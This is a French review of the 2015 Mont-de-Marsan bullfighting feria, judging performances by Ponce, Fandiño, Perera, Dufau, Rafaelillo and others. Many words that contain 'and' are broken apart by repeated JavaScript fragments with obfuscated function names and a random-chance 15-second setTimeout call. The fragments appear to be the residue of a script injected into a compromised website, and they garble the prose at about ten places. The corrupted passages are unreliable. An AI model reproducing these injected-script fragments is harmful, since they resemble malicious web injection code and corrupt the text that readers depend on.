MONT-DE-MARSAN 2015 : UN BILAN MITIGÉ

On n’a pas vécu une feria triomphale mais il y aura eu des succès et des échecs qui marqueront les esprits. L’étonnant mano a mano entre Ponce et Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño a finalement été une réussite avec le public sur un nuage. Ebloui par le talent de Ponce, son esthétique, sa mise en scène géniale parfaitement adaptée à des musiques aussi surprenantes que celle de la bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande originale du film « La mission », interprétées avec virtuosité par l’Orchestre Montois. Du très beau toreo auquel il a manqué, à mon avis, ce pas en avant, cet engagement qui l’aurait transcendé bien davantage. Ce que fit par contre Iván Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño et l’émotion fut au rendez-vous. Il réalisa le meilleur toreo à la cape, très varié, n’hésitant pas à se mettre à genoux pour recevoir ses toros. Sa faena au sixième de Victoriano del Rio, un toro brave et encasté, fut l’apogée de cette corrida et marque sans doute un avant et un après dans la saison du torero basque. Il y eut d’excellentes séries ainsi que des passes isolées magnifiques.

Le reste de la feria a moins emballé les aficionados. En ouverture les toros de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande ont montré de la noblesse mais peu de piquant et le public a eu un comportement bizarre. Il s’en est pris à Perera qui réalisa deux bonnes faenas d’un engagement maximum, ce qui sembla déplaire à une partie des gradins. Talavante fit une faena variée et colorée à son premier mais reçut une bronca pour n’avoir pas voulu voir son dernier. Le public fut aussi surprenant avec Urdiales, après lui avoir demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andé une oreille, ce fut le silence car le toro mit un peu trop de temps à tomber. Le torero de la Rioja ne parvint pas à faire une faena aboutie, mais exécuta quelques passes de belle facture.

Le lendemain la corrida de Juan Pedro, elle fut noble mais fade en général. Padilla coupa une oreillette, demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andée par un public très festif, Manzanares se justifia et Dufau prit tout le monde à contre-courant devant le dernier toro, qu’une partie du public voulait renvoyer aux corrals. Il le bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderilla et parvint à faire l’une des faenas les plus suaves, rythmées et maîtrisées qu’on ait pu lui voir. Ses compatriotes furent unanimement conquis.

La corrida de Cebada fut âpre en général. Les picadors brillèrent, notamment Juan José Esquival avec quatre piques sensationnelles qui mirent les arènes debout. Son maestro Rafaelillo l’invita à faire le tour de piste avec lui après avoir coupé une oreille. Le torero de Murcie se joua la vie à son premier et comprit à la perfection le suivant, une faena bâtie sur la main droite, la gauche était impossible. Il profita de la mobilité du toro pour enchaîner des passes sans discontinuité, certaines d’entres elles avec beaucoup de temple. Rafaelillo est devenu un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and monsieur.

Pérez Mota fit une belle impression devant ces toros de Cebada, par son courage, sa pureté, sa jeunesse. Par contre Castaño déçut, surtout devant le cinquième toro, un animal qui chargea quatre fois au cheval et qui avait encore du gaz à la muleta. Mais le torero ne nous permit pas de voir jusqu’où l’aurait amené sa bravoure.

La plus grosse déception aura été la corrida de Victorino par son manque de tout. Présentation juste correcte et la caste absente, sauf pour un toro dont El Cid profita moyennement.

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